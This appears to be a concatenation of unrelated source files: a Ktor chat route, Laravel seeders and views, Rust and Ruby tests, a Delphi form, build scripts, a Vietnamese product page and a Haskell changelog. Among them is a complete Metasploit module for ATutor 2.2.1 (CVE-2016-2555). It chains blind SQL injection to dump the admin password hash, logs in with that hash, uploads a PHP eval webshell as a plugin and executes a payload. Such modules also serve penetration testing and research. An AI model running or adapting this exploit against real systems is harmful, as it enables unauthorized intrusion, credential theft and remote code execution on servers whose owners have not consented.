import com.irondnb.chat.server.messageHandler
import io.ktor.application.*
import io.ktor.http.cio.websocket.*
import io.ktor.routing.*
import io.ktor.websocket.*
fun Route.chatRoute(server: Server) {
webSocket("/chat") {
val connection = Connection(this)
server.add(connection)
try {
send("You are connected! There are ${server.connections.count()} users here.")
for(frame in incoming) {
frame as? Frame.Text ?: continue
messageHandler(connection.user, frame.readText(), server)
}
} catch (e: Exception) {
call.application.log.error(e.localizedMessage)
} finally {
call.application.log.info("Removing $connection!")
server.remove(connection)
}
}
} |
<?php
namespace Database\Seeders;
use App\Models\Vendor;
use App\Models\Priority;
use App\Models\Product;
use App\Models\Order;
use App\Models\User;
use Illuminate\Database\Seeder;
class globalSeeder extends Seeder
{
/**
* Run the database seeds.
*
* @return void
*/
public function run()
{
Priority::factory()
->count(5)
->create();
Vendor::factory()
->count(10)
->create();
Product::factory()
->count(20)
->create();
User::factory()
->count(15)
->has(Order::factory()
->count(1), 'orders')
->create();
}
} |
require 'spec_helper'
describe ActiveFedora::Base do
before(:each) do
class Foo < ActiveFedora::Base
has_metadata :type=>ActiveFedora::SimpleDatastream, :name=>"foostream" do|m|
m.field "foostream", :string
end
has_metadata :type=>ActiveFedora::QualifiedDublinCoreDatastream, :name=>"dcstream"
end
class Bar < ActiveFedora::Base
has_metadata :type=>ActiveFedora::SimpleDatastream, :name=>"barstream" do |m|
m.field "barfield", :string
end
end
end
it "doesn't overwrite stream specs" do
f = Foo.new
f.datastreams.size.should == 3
streams = f.datastreams.values.map{|x| x.class.to_s}.sort
streams.pop.should == "ActiveFedora::SimpleDatastream"
streams.pop.should == "ActiveFedora::RelsExtDatastream"
streams.pop.should == "ActiveFedora::QualifiedDublinCoreDatastream"
end
it "should work for multiple types" do
b = Foo.new
f = Bar.new
b.class.ds_specs.should_not == f.class.ds_specs
end
after do
Object.send(:remove_const, :Bar)
Object.send(:remove_const, :Foo)
end
end
|
import getBullQueue from 'bull'
import config from 'src/config'
/**
* NOTE: this service's functions are exported the way they are to enable
* certain stubbing functionality functionality for testing that relies on the
* way the module is cached and later required by dependent modules.
*/
export default {
getQueue,
emptyQueue,
}
function getQueue(queueName) {
return getBullQueue(queueName, config.server.redis.url)
}
function emptyQueue(queueName) {
return getQueue(queueName).empty()
}
|
:construction:
This repo is under construction! Please check the /dev branch for the latest!
Last updated: Feb 26, 2021
|
# DOM Connector library
Tiny library to draw connections between DOM element.
Still proof of concept, under development.
## NPM scripts
- `npm t`: Run test suite
- `npm start`: Runs `npm run build` in watch mode
- `npm run test:watch`: Run test suite in [interactive watch mode](http://facebook.github.io/jest/docs/cli.html#watch)
- `npm run test:prod`: Run linting and generate coverage
- `npm run build`: Generage bundles and typings, create docs
- `npm run lint`: Lints code
## Build and test
- `npm run build`
- `open example/index.html`
Also visible [here](http://xilinus.com/dom-connector/index.html)
## Usage
```css
#e1, #e2 {
width: 100px;
height: 100px;
margin: 20px;
background-color: #DDD;
}
```
``` html
<div id="e1"></div>
<div id="e2"></div>
```
``` js
const connector = DomConnector.connect(
document.getElementById('e1'),
document.getElementById('e2'),
{ from: 'bottom-middle', to: 'top-middle', className: 'line-join' }
);
```
## Credits
Sébastien Gruhier <[email protected]>
## Boilerplate
Based on https://github.com/alexjoverm/typescript-library-starter starter kit with some modifications
|
---
title: Baseline4FixedCost Property, Project - [vbapj.chm131481]
keywords: vbapj.chm131481
f1_keywords:
- vbapj.chm131481
ms.prod: office
ms.assetid: 756f51d3-30ca-4e18-9c83-274722353b78
ms.date: 06/08/2017
ms.localizationpriority: medium
---
# Baseline4FixedCost Property, Project - [vbapj.chm131481]
Hi there! You have landed on one of our F1 Help redirector pages. Please select the topic you were looking for below.
- [Task.Baseline4FixedCost Property (Project)](https://msdn.microsoft.com/library/8306d2d7-b80d-b3c6-5b7e-178082aa2740%28Office.15%29.aspx)
- [Assignment.Baseline4Cost Property (Project)](https://msdn.microsoft.com/library/2bab26ff-0d68-6258-3978-45fc6faf3e9d%28Office.15%29.aspx)
- [Task.Baseline4Cost Property (Project)](https://msdn.microsoft.com/library/50d77d8e-0726-4446-3e6b-58283176e3ea%28Office.15%29.aspx)
- [Resource.Baseline4Cost Property (Project)](https://msdn.microsoft.com/library/1dac3167-adff-14ed-48e7-667293780a1a%28Office.15%29.aspx)
[!include[Support and feedback](~/includes/feedback-boilerplate.md)] |
/*
基础数据类型。
整形:
分有符号和无符号两种类型,两种类型分别对应 int8, int 16, int 32, int 64
和 无符号 uint8, uint 16, uint32, uint64大小不同类型。
int16: -32768 到 +32767
int == int32
表示数值范围: -2,147,483,648 到 +2,147,483,647,有符号整数
int64: -9,223,372,036,854,775,808 到 +9,223,372,036,854,775,807
uint则是不带符号的,表示范围是:2^32即0到4294967295
*/
package main
import "fmt"
func main() {
//var a int16 = 32768 //常数溢出
var b = -32768
//var c uint16 = -32768 //常数溢出
var d uint16 = 32767
var e uint16 = 32768
fmt.Printf("int32: %d\n", b)
fmt.Printf("uint16: %d\n", d)
fmt.Printf("uint16: %d\n", e)
}
|
#!/bin/bash
g++ *.cpp ../Src/*/*.cpp -m64 -std=c++14 -O2 -o test |
#[macro_use]
extern crate rstest;
use std::time::Duration;
use bevy::asset::AssetPlugin;
use bevy::prelude::*;
use bevy_core::CorePlugin;
use benimator::*;
#[rstest]
fn repeated(mut app: App) {
let animation = app
.world
.get_resource_mut::<Assets<SpriteSheetAnimation>>()
.unwrap()
.add(SpriteSheetAnimation::from_range(
0..=2,
Duration::from_nanos(0),
));
let entity = app
.world
.spawn()
.insert_bundle((TextureAtlasSprite::new(0), animation, Play))
.id();
app.update();
assert_eq!(
app.world.get::<TextureAtlasSprite>(entity).unwrap().index,
1
);
app.update();
assert_eq!(
app.world.get::<TextureAtlasSprite>(entity).unwrap().index,
2
);
app.update();
assert_eq!(
app.world.get::<TextureAtlasSprite>(entity).unwrap().index,
0
);
}
#[rstest]
fn run_once(mut app: App) {
let animation = app
.world
.get_resource_mut::<Assets<SpriteSheetAnimation>>()
.unwrap()
.add(SpriteSheetAnimation::from_range(0..=2, Duration::from_nanos(0)).once());
let entity = app
.world
.spawn()
.insert_bundle((TextureAtlasSprite::new(0), animation, Play))
.id();
app.update();
assert!(app.world.get::<Play>(entity).is_some());
assert_eq!(
app.world.get::<TextureAtlasSprite>(entity).unwrap().index,
1
);
app.update();
assert!(app.world.get::<Play>(entity).is_some());
assert_eq!(
app.world.get::<TextureAtlasSprite>(entity).unwrap().index,
2
);
app.update();
assert!(app.world.get::<Play>(entity).is_none());
assert_eq!(
app.world.get::<TextureAtlasSprite>(entity).unwrap().index,
2
);
}
#[fixture]
fn app() -> App {
let mut builder = App::build();
builder
.add_plugin(CorePlugin)
.add_plugin(AssetPlugin)
.add_plugin(AnimationPlugin);
builder.app
}
|
package io.github.paulgriffith.tagkreator.gui.tree
import javax.swing.Icon
class SimpleValueNode(
override val text: String,
override val icon: Icon? = null,
override val parent: Node,
) : Node() {
override val children: List<Node> = emptyList()
}
|
package dfake;
public class Assert {
public static void isNotNull(Object o) {
if (o == null) {
throw new DFakeException("Object unexpectedly null");
}
}
public static void isTrue(boolean b) {
if (!b) {
throw new DFakeException("Assertion failed");
}
}
public static void isFalse(boolean b) {
if (b) {
throw new DFakeException("Assertion failed");
}
}
}
|
object FormUserAdd: TFormUserAdd
Left = 0
Top = 0
BorderIcons = [biSystemMenu]
Caption = 'FormUserAdd'
ClientHeight = 189
ClientWidth = 306
Color = clBtnFace
Constraints.MinHeight = 200
Constraints.MinWidth = 300
Font.Charset = DEFAULT_CHARSET
Font.Color = clWindowText
Font.Height = -11
Font.Name = 'Tahoma'
Font.Style = []
KeyPreview = True
OldCreateOrder = False
OnCreate = FormCreate
OnKeyDown = FormKeyDown
OnResize = FormResize
PixelsPerInch = 96
TextHeight = 13
object gbFriendAdd: TGroupBox
Left = 8
Top = 8
Width = 289
Height = 137
Caption = #1044#1086#1073#1072#1074#1083#1077#1085#1080#1077' '#1076#1088#1091#1075#1072':'
TabOrder = 0
object labFriendAddress: TLabel
Left = 7
Top = 27
Width = 89
Height = 13
Alignment = taRightJustify
AutoSize = False
Caption = #1040#1076#1088#1077#1089' '#1076#1088#1091#1075#1072':'
Font.Charset = DEFAULT_CHARSET
Font.Color = clWindowText
Font.Height = -11
Font.Name = 'Tahoma'
Font.Style = []
ParentFont = False
end
object labMessage: TLabel
Left = 7
Top = 51
Width = 89
Height = 13
Alignment = taRightJustify
AutoSize = False
Caption = #1057#1086#1086#1073#1097#1077#1085#1080#1077':'
end
object edFrienAddress: TEdit
Left = 102
Top = 24
Width = 171
Height = 21
TabOrder = 0
end
object memMessage: TMemo
Left = 102
Top = 51
Width = 171
Height = 70
Lines.Strings = (
'Memo1')
ScrollBars = ssVertical
TabOrder = 1
end
end
object btnCancel: TButton
Left = 141
Top = 156
Width = 75
Height = 25
Caption = 'btnCancel'
TabOrder = 2
OnClick = btnCancelClick
end
object btnAddFriend: TButton
Left = 222
Top = 156
Width = 75
Height = 25
Caption = 'btnAddFriend'
Default = True
TabOrder = 1
OnClick = btnAddFriendClick
end
end
|
@extends('layouts.home')
@section('content')
<div style="width: 100%; border: 1px solid #d9edf7;padding: 10px;">
<h1>Here I have completed This problem by using laravel and upload it github</h1>
</div>
@endsection
|
@extends('master.templates.master')
@section('404error')
<div class="content-bg ">
<p class="spaced"><strong>Oh Fiddle Sticks, We Have Couldn't Find that Car...</strong></p>
<p>Did you mean to search for one of these?</p>
<div class="row">
<div class="col-sm-4">
<a href="{{URL::abs('/')}}/groceries" target="_blank">
<img class="img-responsive" src="http://placehold.it/500x350">
<h2>2014 Dodge Dart</h2>
</a>
<br>
</div>
<div class="col-sm-4">
<a href="{{URL::abs('/')}}/homeimprovement" target="_blank">
<img class="img-responsive" src="http://placehold.it/500x350">
<h2>2014 Dodge Dart</h2>
</a>
<br>
</div>
<div class="col-sm-4">
<a href="{{URL::abs('/cars')}}" target="_blank">
<img class="img-responsive" src="http://placehold.it/500x350">
<h2>2014 Dodge Dart</h2>
</a>
<br>
</div>
</div>
<hr>
<p>Not what you were looking for?</p>
<hr class="dark">
<p class="spaced"><strong>Try a different search.</strong></p>
<div class="row">
<div class="col-sm-6">
<form role="form" action="/cars/vehicle-search" method="post">
<div class="form-group row">
<div class="col-xs-6">
<div class="radio margin-top-0">
<label>
<input type="radio" name="carType" id="carType" value="new" checked="checked">
New
</label>
</div>
</div>
<div class="col-xs-6">
<div class="radio margin-top-0">
<label>
<input type="radio" name="carType" id="carType" value="used">
Used
</label>
</div>
</div>
</div>
<div class="form-group">
<select class="form-control" class="form-control" id="filterYear" name="filterYear">
<option value="all">All Years</option>
</select>
</div>
<div class="form-group">
<select class="form-control" class="form-control" id="filterMake" name="filterMake">
<option value="all">All Makes</option>
</select>
</div>
<div class="form-group">
<select class="form-control" class="form-control" id="filterModel" name="filterModel">
<option value="all">All Models</option>
<option value=""></option>
</select>
</div>
<div class="form-group">
<label for="filterPrice">Price Range</label>
<div class="row">
<div class="col-xs-5" style="padding-right:0">
<select class="form-control" class="form-control" id="filterPrice" name="filterPrice">
<option value="high">$1,000</option>
</select>
</div>
<div class="col-xs-2 text-center">
<p style="margin-top:5px"><strong>to</strong></p>
</div>
<div class="col-xs-5" style="padding-left:0">
<select class="form-control" class="form-control" id="filterPrice" name="filterPrice">
<option value="high">$1,000,000</option>
</select>
</div>
</div>
</div>
<div class="form-group">
<select class="form-control" class="form-control" id="filterDistance" name="filterDistance">
<option value="high">Within 30 Miles</option>
</select>
</div>
<button type="submit" class="btn btn-red btn-block btn-auto-filter">Search</span></button>
</form>
</div>
</div>
</div>
@stop
@stop |
#!/bin/bash
rm client.exe
rm *.o
rm response.pb.*
rm request.pb.*
rm *.exe
rm *.so
rm libRest-2.0.cc
rm -rf libraries
|
using System;
using System.Collections.Generic;
using System.Text;
namespace Microsoft.Azure.Management.Storage
{
public class OperationResult
{
public bool IsSuccessStatusCode { get; set; }
public string StatusMessage { get; set; }
}
}
|
<?php
/*
*
* (c) Yaroslav Honcharuk <[email protected]>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace Yarhon\RouteGuardBundle\Tests\Security\Test;
use PHPUnit\Framework\TestCase;
use Yarhon\RouteGuardBundle\Security\Test\ProviderAwareTrait;
/**
* @author Yaroslav Honcharuk <[email protected]>
*/
class ProviderAwareTraitTest extends TestCase
{
public function testProviderClass()
{
$providerAware = $this->getMockForTrait(ProviderAwareTrait::class);
$providerAware->setProviderClass('foo');
$this->assertSame('foo', $providerAware->getProviderClass());
}
}
|
package com.uchuhimo.konf.source.toml
import com.uchuhimo.konf.source.Source
import com.uchuhimo.konf.source.base.MapSource
class TomlMapSource(
map: Map<String, Any>,
context: Map<String, String> = mapOf()
) : MapSource(map, "TOML", context) {
override fun Any.castToSource(context: Map<String, String>): Source = asTomlSource(context)
}
|
// https://codeforces.com/contest/1196/problem/B
#include <iostream>
#include <vector>
using namespace std;
int main()
{
int q;
cin >> q;
while(q--)
{
int n, k;
cin >> n >> k;
vector<int> arr(n, 0);
int count_odds = 0;
for (int i = 0; i < n; ++i)
{
cin >> arr[i];
count_odds += (arr[i] & 1);
}
if ( (count_odds < k) || ((count_odds & 1) != (k & 1)))
{
cout << "NO" << endl;
continue;
}
cout << "YES" << endl;
for (int i = 0; (i < int(arr.size())) && (k - 1); ++i)
{
if (arr[i] & 1)
{
cout << i + 1 << " ";
k--;
}
}
cout << endl;
}
return 0;
}
|
// Decompose the Toffoli gate into CNOT, H, T, and Tdagger gates. """
import { tuple } from '@/libs/util';
import Gates, { H, NOT, T } from '@/ops/gates';
import { CNOT } from '@/ops/shortcuts';
import { DecompositionRule } from '@/cengines/replacer/decompositionrule';
import { ICommand } from '@/interfaces';
const { Tdag } = Gates
const _decompose_toffoli = (cmd: ICommand) => {
const ctrl = cmd.controlQubits
const target = cmd.qubits[0]
const c1 = ctrl[0]
const c2 = ctrl[1]
H.or(target)
CNOT.or(tuple(c1, target))
T.or(c1)
Tdag.or(target)
CNOT.or(tuple(c2, target))
CNOT.or(tuple(c2, c1))
Tdag.or(c1)
T.or(target)
CNOT.or(tuple(c2, c1))
CNOT.or(tuple(c1, target))
Tdag.or(target)
CNOT.or(tuple(c2, target))
T.or(target)
T.or(c2)
H.or(target)
}
const _recognize_toffoli = (cmd: ICommand) => cmd.controlCount === 2
export default [
new DecompositionRule(NOT.constructor, _decompose_toffoli, _recognize_toffoli)
]
|
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info={})
super(update_info(info,
'Name' => 'ATutor 2.2.1 SQL Injection / Remote Code Execution',
'Description' => %q{
This module exploits a SQL Injection vulnerability and an authentication weakness
vulnerability in ATutor. This essentially means an attacker can bypass authenication
and reach the administrators interface where they can upload malcious code.
You are required to login to the target to reach the SQL Injection, however this
can be done as a student account and remote registration is enabled by default.
},
'License' => MSF_LICENSE,
'Author' =>
[
'mr_me <steventhomasseeley[at]gmail.com>', # initial discovery, msf code
],
'References' =>
[
[ 'CVE', '2016-2555' ],
[ 'URL', 'http://www.atutor.ca/' ] # Official Website
],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
},
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' => [[ 'Automatic', { }]],
'DisclosureDate' => 'Mar 1 2016',
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, 'The path of Atutor', '/ATutor/']),
OptString.new('USERNAME', [true, 'The username to authenticate as']),
OptString.new('PASSWORD', [true, 'The password to authenticate with'])
],self.class)
end
def print_status(msg='')
super("#{peer} - #{msg}")
end
def print_error(msg='')
super("#{peer} - #{msg}")
end
def print_good(msg='')
super("#{peer} - #{msg}")
end
def check
# the only way to test if the target is vuln
begin
test_cookie = login(datastore['USERNAME'], datastore['PASSWORD'], false)
rescue Msf::Exploit::Failed => e
vprint_error(e.message)
return Exploit::CheckCode::Unknown
end
if test_injection(test_cookie)
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
end
def create_zip_file
zip_file = Rex::Zip::Archive.new
@header = Rex::Text.rand_text_alpha_upper(4)
@payload_name = Rex::Text.rand_text_alpha_lower(4)
@plugin_name = Rex::Text.rand_text_alpha_lower(3)
path = "#{@plugin_name}/#{@payload_name}.php"
register_file_for_cleanup("#{@payload_name}.php", "../../content/module/#{path}")
zip_file.add_file(path, "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>")
zip_file.pack
end
def exec_code
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "mods", @plugin_name, "#{@payload_name}.php"),
'raw_headers' => "#{@header}: #{Rex::Text.encode_base64(payload.encoded)}\r\n"
})
end
def upload_shell(cookie)
post_data = Rex::MIME::Message.new
post_data.add_part(create_zip_file, 'archive/zip', nil, "form-data; name=\"modulefile\"; filename=\"#{@plugin_name}.zip\"")
post_data.add_part("#{Rex::Text.rand_text_alpha_upper(4)}", nil, nil, "form-data; name=\"install_upload\"")
data = post_data.to_s
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, "mods", "_core", "modules", "install_modules.php"),
'method' => 'POST',
'data' => data,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'cookie' => cookie,
'agent' => 'Mozilla'
})
if res && res.code == 302 && res.redirection.to_s.include?("module_install_step_1.php?mod=#{@plugin_name}")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "mods", "_core", "modules", res.redirection),
'cookie' => cookie,
'agent' => 'Mozilla',
})
if res && res.code == 302 && res.redirection.to_s.include?("module_install_step_2.php?mod=#{@plugin_name}")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "mods", "_core", "modules", "module_install_step_2.php?mod=#{@plugin_name}"),
'cookie' => cookie,
'agent' => 'Mozilla',
})
return true
end
end
# auth failed if we land here, bail
fail_with(Failure::Unknown, "Unable to upload php code")
return false
end
def get_hashed_password(token, password, bypass)
if bypass
return Rex::Text.sha1(password + token)
else
return Rex::Text.sha1(Rex::Text.sha1(password) + token)
end
end
def login(username, password, bypass)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "login.php"),
'agent' => 'Mozilla',
})
token = $1 if res.body =~ /\) \+ \"(.*)\"\);/
cookie = "ATutorID=#{$1};" if res.get_cookies =~ /; ATutorID=(.*); ATutorID=/
if bypass
password = get_hashed_password(token, password, true)
else
password = get_hashed_password(token, password, false)
end
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, "login.php"),
'vars_post' => {
'form_password_hidden' => password,
'form_login' => username,
'submit' => 'Login'
},
'cookie' => cookie,
'agent' => 'Mozilla'
})
cookie = "ATutorID=#{$2};" if res.get_cookies =~ /(.*); ATutorID=(.*);/
# this is what happens when no state is maintained by the http client
if res && res.code == 302
if res.redirection.to_s.include?('bounce.php?course=0')
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, res.redirection),
'cookie' => cookie,
'agent' => 'Mozilla'
})
cookie = "ATutorID=#{$1};" if res.get_cookies =~ /ATutorID=(.*);/
if res && res.code == 302 && res.redirection.to_s.include?('users/index.php')
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, res.redirection),
'cookie' => cookie,
'agent' => 'Mozilla'
})
cookie = "ATutorID=#{$1};" if res.get_cookies =~ /ATutorID=(.*);/
return cookie
end
else res.redirection.to_s.include?('admin/index.php')
# if we made it here, we are admin
return cookie
end
end
# auth failed if we land here, bail
fail_with(Failure::NoAccess, "Authentication failed with username #{username}")
return nil
end
def perform_request(sqli, cookie)
# the search requires a minimum of 3 chars
sqli = "#{Rex::Text.rand_text_alpha(3)}'/**/or/**/#{sqli}/**/or/**/1='"
rand_key = Rex::Text.rand_text_alpha(1)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, "mods", "_standard", "social", "connections.php"),
'vars_post' => {
"search_friends_#{rand_key}" => sqli,
'rand_key' => rand_key,
'search' => 'Search People'
},
'cookie' => cookie,
'agent' => 'Mozilla'
})
return res.body
end
def dump_the_hash(cookie)
extracted_hash = ""
sqli = "(select/**/length(concat(login,0x3a,password))/**/from/**/AT_admins/**/limit/**/0,1)"
login_and_hash_length = generate_sql_and_test(do_true=false, do_test=false, sql=sqli, cookie).to_i
for i in 1..login_and_hash_length
sqli = "ascii(substring((select/**/concat(login,0x3a,password)/**/from/**/AT_admins/**/limit/**/0,1),#{i},1))"
asciival = generate_sql_and_test(false, false, sqli, cookie)
if asciival >= 0
extracted_hash << asciival.chr
end
end
return extracted_hash.split(":")
end
def get_ascii_value(sql, cookie)
lower = 0
upper = 126
while lower < upper
mid = (lower + upper) / 2
sqli = "#{sql}>#{mid}"
result = perform_request(sqli, cookie)
if result =~ /There are \d entries./
lower = mid + 1
else
upper = mid
end
end
if lower > 0 and lower < 126
value = lower
else
sqli = "#{sql}=#{lower}"
result = perform_request(sqli, cookie)
if result =~ /There are \d entries./
value = lower
end
end
return value
end
def generate_sql_and_test(do_true=false, do_test=false, sql=nil, cookie)
if do_test
if do_true
result = perform_request("1=1", cookie)
if result =~ /There are \d entries./
return true
end
else not do_true
result = perform_request("1=2", cookie)
if not result =~ /There are \d entries./
return true
end
end
elsif not do_test and sql
return get_ascii_value(sql, cookie)
end
end
def test_injection(cookie)
if generate_sql_and_test(do_true=true, do_test=true, sql=nil, cookie)
if generate_sql_and_test(do_true=false, do_test=true, sql=nil, cookie)
return true
end
end
return false
end
def report_cred(opts)
service_data = {
address: rhost,
port: rport,
service_name: ssl ? 'https' : 'http',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
module_fullname: fullname,
post_reference_name: self.refname,
private_data: opts[:password],
origin_type: :service,
private_type: :password,
username: opts[:user]
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL,
last_attempted_at: Time.now
}.merge(service_data)
create_credential_login(login_data)
end
def exploit
student_cookie = login(datastore['USERNAME'], datastore['PASSWORD'], false)
print_status("Logged in as #{datastore['USERNAME']}, sending a few test injections...")
report_cred(user: datastore['USERNAME'], password: datastore['PASSWORD'])
print_status("Dumping username and password hash...")
# we got admin hash now
credz = dump_the_hash(student_cookie)
print_good("Got the #{credz[0]} hash: #{credz[1]} !")
if credz
admin_cookie = login(credz[0], credz[1], true)
print_status("Logged in as #{credz[0]}, uploading shell...")
# install a plugin
if upload_shell(admin_cookie)
print_good("Shell upload successful!")
# boom
exec_code
end
end
end
end |
package org.grakovne.mks.impl.reader
import org.grakovne.mks.api.model.MachineState
import scala.language.higherKinds
trait StateReader[F[_]] {
def readState(): F[MachineState]
}
|
import wx
from gui import frame_alpr
myALPR = wx.App()
guiFrame = frame_alpr()
guiFrame.Show()
myALPR.MainLoop() |
---
slug: "2018-06-06-s03250-bo-be-trai-phoi-quan-kaki"
title: "Đồ bộ bé trai thun coton phối quần kaki giả jean"
cover: "https://cf.shopee.vn/file/75f373d2586a444ece717186f9497adb"
thumb1: "https://cf.shopee.vn/file/a837c30962ab3a60266b8f30a709088e"
thumb2: "https://cf.shopee.vn/file/201b9f13ea1da60481dff9bc3c4b43ed"
thumb3: "https://cf.shopee.vn/file/8d412b5a74f5a35c73f5f4e0980c7225"
thumb4: ""
date: "06/06/2018"
category: "be-trai"
price: "255000"
salePrice: ""
tags:
- do-bo
mau:
- xanh
sizes:
- 1
- 2
- 3
- 4
- 5
---
Áo bé trai thun coton 2 màu như hình.
Quần bé trai kaki jean co giản tốt.
Áo dành cho bé 15>20kg( giá lẻ 135k)
Quần dành cho bé 10>23kg(giá lẻ 135k)
Mặt trời nhỏ nhận ship #COD toàn quốc - check hàng, thanh toán tận nhà. 🚚🚚🚚
CÁC BẠN Ở TỈNH CÓ THỂ ORDER HÀNG TRÊN #SHOPEE (https://shopee.vn/truongtomi0708) ĐỂ TIẾT KIỆM TIỀN SHIP NHÉ
<div class="hidden">
shopmattroinho.com quanaotreem dambegai quanaochobe
</div>
|
#!/usr/bin/env bash
## THIS SCRIPT ONLY WORKS IF QMCKL HAS BEEN BUILT CORRECTLY
gfortran -c qmckl_f.f90
gfortran -ffree-line-length-none -c qmckl_test_f.f90
gfortran -o qmckl_test_f qmckl_test_f.o -L. -lqmckl
export LD_LIBRARY_PATH=../../qmckl/src/.libs:/opt/intel/oneapi/compiler/2021.3.0/linux/compiler/lib/intel64_lin
#export LD_LIBRARY_PATH=$HOME/code/qmcchem/lib
echo
echo "Current '\$LD_LIBRARY_PATH':" $LD_LIBRARY_PATH
echo
./qmckl_test_f && octave qmckl_test_f.m
|
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class CameraFollowCollision : MonoBehaviour {
public GameObject target;
public Vector3 offset;
public float back = 0.2f ;
bool colliding = false;
Vector3 lastPosition;
// Use this for initialization
void Start () {
}
// Update is called once per frame
void Update () {gameObject.GetComponent<Rigidbody>().MovePosition(target.transform.position + offset);
if (!colliding) {
lastPosition = transform.position;
}
}
void OnCollisionEnter(Collision col)
{
//Debug.Log("Enter");
//Debug.Log(col.transform.gameObject.name);
gameObject.transform.position = lastPosition;
colliding = true;
}
void OnCollisionExit(Collision col)
{
//Debug.Log("Exit");
//Debug.Log(col.transform.gameObject.name);
colliding = false;
}
void OnCollisionStay(Collision col)
{
//Debug.Log("Stay");
//Debug.Log(col.transform.gameObject.name);
gameObject.transform.position = lastPosition;
}
}
|
'use strict'
class AbortError extends Error {
constructor (message) {
super(message)
this.code = 'FETCH_ABORTED'
this.type = 'aborted'
Error.captureStackTrace(this, this.constructor)
}
get name () {
return 'AbortError'
}
// don't allow name to be overridden, but don't throw either
set name (s) {}
}
module.exports = AbortError
|
module Pione
module Util
# ID is a set of ID generators.
module TaskID
# Make a task id by input data names and parameters.
def generate(inputs, params)
# NOTE: auto variables are ignored
param_set = params.delete_all(["I", "INPUT", "O", "OUTPUT", "*"])
inputs = inputs.map {|t| t.is_a?(TupleSpace::DataTuple) ? t.name : t}
Digest::MD5.hexdigest("%s::%s" % [inputs.join(":"), param_set.textize])
end
module_function :generate
end
module DomainID
# Make a domain id based on package id, rule name, inputs, and parameter set.
def generate(package_id, rule_name, inputs, params)
"%s:%s:%s" % [package_id, rule_name, TaskID.generate(inputs.flatten, params)]
end
module_function :generate
end
module PackageID
# Generate package id from the package name in the environment.
def generate(env, package_name)
begin
env.package_get(Lang::PackageExpr.new(name: package_name, package_id: package_name))
i = 0
loop do
i += 1
name = "%s-%s" % [package_name, i]
unless env.package_ids.include?(name)
env.package_ids << name
return name
end
end
rescue Lang::UnboundError
return package_name
end
end
module_function :generate
end
end
end
|
# Changelog
All notable changes to this project will be documented in this file.
The format is based on [Keep a Changelog](http://keepachangelog.com/en/1.0.0/)
and this project adheres to the [Haskell Package Versioning Policy](https://pvp.haskell.org/).
## [0.6.0.0] - TBA
### Change
- Support QuickCheck 2.7 and 2.8. This adds `Arbitrary` orphan instances
to the test suite.
- Fix CPP that caused build failures on GHC 7.10 and some old
package versions.
- Fix compiling the test suite without semigroupoids and compiling with old
versions of transformers.
- Add lower bound for semigroups to make sure the `stimes` method is available.
- The laws `commutativeSemigroupLaws` and `commutativeMonoidLaws` no longer
check any property other than commutativity. They must now be used in conjunction
with, rather than in place of, `semigroupLaws` and `monoidLaws`. This is a breaking
change.
- Fix the right distribution law for semirings.
### Added
- Add `genericLaws` and `generic1Laws`
- Add property tests for special classes of semigroups. This includes:
commutative, idempotent, rectangular band, and exponential.
- `bifoldableLaws`, `bifoldableFunctorLaws`
## [0.5.0.0] - 2018-09-25
### Change
- When compiling with GHC 8.6 and newer, use `QuantifiedConstraints` instead
of `Eq1`, `Show1`, `Arbitrary1`, `Eq2`, `Show`, and `Arbitrary2`.
## [0.4.14.3] - 2018-09-21
### Change
- Fix a CPP conditional import problem that caused build failures on GHC 7.10
- Set an explicit lower bound for containers
## [0.4.14.2] - 2018-09-12
### Change
- Support QuickCheck-2.12
- Fix compilation for containers<0.5.9
- Fix compilation with QuickCheck-2.9
## [0.4.14.1] - 2018-07-24
### Change
- Build correctly when dependency on semigroupoids is disabled.
## [0.4.14] - 2018-07-23
### Added
- commutativeSemigroupLaws
- the following typeclasses:
`Data.Semigroupoid.Semigroupoid` (semigroupoids)
`Data.Functor.Plus.Plus` (semigroupoids)
### Change
- semiringLaws were never exported, we now export them.
- make documentation for `MonadPlus` and `Alternative` consistent.
- bump semirings to 0.2.0.0
- deprecate `Test.QuickCheck.Classes.specialisedLawsCheckMany`
in favour of `Test.QuickCheck.Classes.lawsCheckOne`
## [0.4.13] - 2018-07-18
### Added
- Laws for `Enum` typeclass.
- Laws for `Category` typeclass.
## [0.4.12] - 2018-06-07
### Added
- Remaining laws for `Storable` typeclass.
- Laws for `Prim` typeclass requiring `setByteArray` and `setOffAddr` to
match the behavior that would result from manually iterating over the
array and writing the value element-by-element.
### Change
- Correct the law from the `Bits` typeclass that relates `clearBit`
and `zeroBits`.
- Limit the size of the lists that are used when testing that
`mconcat` and `sconcat` have behaviors that match their default
implementations. For some data structures, concatenating the
elements in a list of several dozen arbitrary values does not
finish in a reasonable amount of time. So, the size of these
has been limited to 6.
- Make library build against `primitive-0.6.1.0`.
## [0.4.11.1] - 2018-05-25
### Change
- Fix compatibility with older GHCs when `semigroupoids` support
is disabled.
## [0.4.11] - 2018-05-24
### Added
- Greatly improved documentation
- `specialisedLawsCheckMany` function, a shorter way for the user
to use `lawsCheckMany` on a single type.
### Change
